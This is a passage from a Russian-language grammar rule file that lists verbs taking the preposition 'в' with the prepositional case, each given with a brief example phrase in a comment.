rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях rus_verbs:сочетать{}, // сочетать в себе rus_verbs:подрабатывать{}, // подрабатывать в магазине rus_verbs:репетировать{}, // репетировать в студии rus_verbs:рябить{}, // рябить в глазах rus_verbs:намочить{}, // намочить в луже rus_verbs:скатать{}, // скатать в руке rus_verbs:одевать{}, // одевать в магазине rus_verbs:испечь{}, // испечь в духовке rus_verbs:сбрить{}, // сбрить в подмышках rus_verbs:зажужжать{}, // зажужжать в ухе rus_verbs:сберечь{}, // сберечь в тайном месте rus_verbs:согреться{}, // согреться в хижине инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш }, rus_verbs:переплыть{}, // переплыть в лодочке rus_verbs:передохнуть{}, // передохнуть в тени rus_verbs:отсвечивать{}, // отсвечивать в зеркалах rus_verbs:переправляться{}, // переправляться в лодках rus_verbs:накупить{}, // накупить в магазине rus_verbs:проторчать{}, // проторчать в очереди rus_verbs:проскальзывать{}, // проскальзывать в сообщениях rus_verbs:застукать{}, // застукать в солярии rus_verbs:наесть{}, // наесть в отпуске rus_verbs:подвизаться{}, // подвизаться в новом деле rus_verbs:вычистить{}, // вычистить в саду rus_verbs:кормиться{}, // кормиться в лесу rus_verbs:покурить{}, // покурить в саду rus_verbs:понизиться{}, // понизиться в ранге rus_verbs:зимовать{}, // зимовать в избушке rus_verbs:проверяться{}, // проверяться в службе безопасности rus_verbs:подпирать{}, // подпирать в первом забое rus_verbs:кувыркаться{}, // кувыркаться в постели rus_verbs:похрапывать{}, // похрапывать в постели rus_verbs:завязнуть{}, // завязнуть в песке rus_verbs:трактовать{}, // трактовать в исследовательской статье rus_verbs:замедляться{}, // замедляться в тяжелой воде rus_verbs:шастать{}, // шастать в здании rus_verbs:заночевать{}, // заночевать в пути rus_verbs:наметиться{}, // наметиться в исследованиях рака rus_verbs:освежить{}, // освежить в памяти rus_verbs:оспаривать{}, // оспаривать в суде rus_verbs:умещаться{}, // умещаться в ячейке rus_verbs:искупить{}, // искупить в бою rus_verbs:отсиживаться{}, // отсиживаться в тылу rus_verbs:мчать{}, // мчать в кабриолете rus_verbs:обличать{}, // обличать в своем выступлении rus_verbs:сгнить{}, // сгнить в тюряге rus_verbs:опробовать{}, // опробовать в деле rus_verbs:тренировать{}, // тренировать в зале rus_verbs:прославить{}, // прославить в академии rus_verbs:учитываться{}, // учитываться в дипломной работе rus_verbs:повеселиться{}, // повеселиться в лагере rus_verbs:поумнеть{}, // поумнеть в карцере rus_verbs:перестрелять{}, // перестрелять в воздухе rus_verbs:проведать{}, // проведать в больнице rus_verbs:измучиться{}, // измучиться в деревне rus_verbs:прощупать{}, // прощупать в глубине rus_verbs:изготовлять{}, // изготовлять в сарае rus_verbs:свирепствовать{}, // свирепствовать в популяции rus_verbs:иссякать{}, // иссякать в источнике rus_verbs:гнездиться{}, // гнездиться в дупле rus_verbs:разогнаться{}, // разогнаться в спортивной машине rus_verbs:опознавать{}, // опознавать в неизвестном rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках rus_verbs:редактировать{}, // редактировать в редакторе rus_verbs:покупаться{}, // покупаться в магазине rus_verbs:промышлять{}, // промышлять в роще rus_verbs:растягиваться{}, // растягиваться в коридоре rus_verbs:приобретаться{}, // приобретаться в антикварных лавках инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш }, rus_verbs:запечатлеться{}, // запечатлеться в мозгу rus_verbs:укрывать{}, // укрывать в подвале rus_verbs:закрепиться{}, // закрепиться в первой башне rus_verbs:освежать{}, // освежать в памяти rus_verbs:громыхать{}, // громыхать в ванной инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш }, rus_verbs:добываться{}, // добываться в шахтах rus_verbs:растворить{}, // растворить в кислоте rus_verbs:приплясывать{}, // приплясывать в гримерке rus_verbs:доживать{}, // доживать в доме престарелых rus_verbs:отпраздновать{}, // отпраздновать в ресторане rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях rus_verbs:помыть{}, // помыть в проточной воде инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш }, прилагательное:увязавший{ вид:несоверш }, rus_verbs:наличествовать{}, // наличествовать в запаснике rus_verbs:нащупывать{}, // нащупывать в кармане rus_verbs:повествоваться{}, // повествоваться в рассказе rus_verbs:отремонтировать{}, // отремонтировать в техцентре rus_verbs:покалывать{}, // покалывать в правом боку rus_verbs:сиживать{}, // сиживать в саду rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях rus_verbs:укрепляться{}, // укрепляться в мнении rus_verbs:разниться{}, // разниться во взглядах rus_verbs:сполоснуть{}, // сполоснуть в водичке rus_verbs:скупать{}, // скупать в магазине rus_verbs:почесывать{}, // почесывать в паху rus_verbs:оформлять{}, // оформлять в конторе rus_verbs:распускаться{}, // распускаться в садах rus_verbs:зарябить{}, // зарябить в глазах rus_verbs:загореть{}, // загореть в Испании rus_verbs:очищаться{}, // очищаться в баке rus_verbs:остудить{}, // остудить в холодной воде rus_verbs:разбомбить{}, // разбомбить в горах rus_verbs:издохнуть{}, // издохнуть в бедности rus_verbs:проехаться{}, // проехаться в новой машине rus_verbs:задействовать{}, // задействовать в анализе rus_verbs:произрастать{}, // произрастать в степи rus_verbs:разуться{}, // разуться в прихожей rus_verbs:сооружать{}, // сооружать в огороде rus_verbs:зачитывать{}, // зачитывать в суде rus_verbs:состязаться{}, // состязаться в остроумии rus_verbs:ополоснуть{}, // ополоснуть в молоке rus_verbs:уместиться{}, // уместиться в кармане rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом rus_verbs:стираться{}, // стираться в стиральной машине rus_verbs:искупаться{}, // искупаться в прохладной реке rus_verbs:курировать{}, // курировать в правительстве rus_verbs:закупить{}, // закупить в магазине rus_verbs:плодиться{}, // плодиться в подходящих условиях rus_verbs:горланить{}, // горланить в парке rus_verbs:першить{}, // першить в горле rus_verbs:пригрезиться{}, // пригрезиться во сне rus_verbs:исправлять{}, // исправлять в тетрадке rus_verbs:расслабляться{}, // расслабляться в гамаке rus_verbs:скапливаться{}, // скапливаться в нижней части rus_verbs:сплетничать{}, // 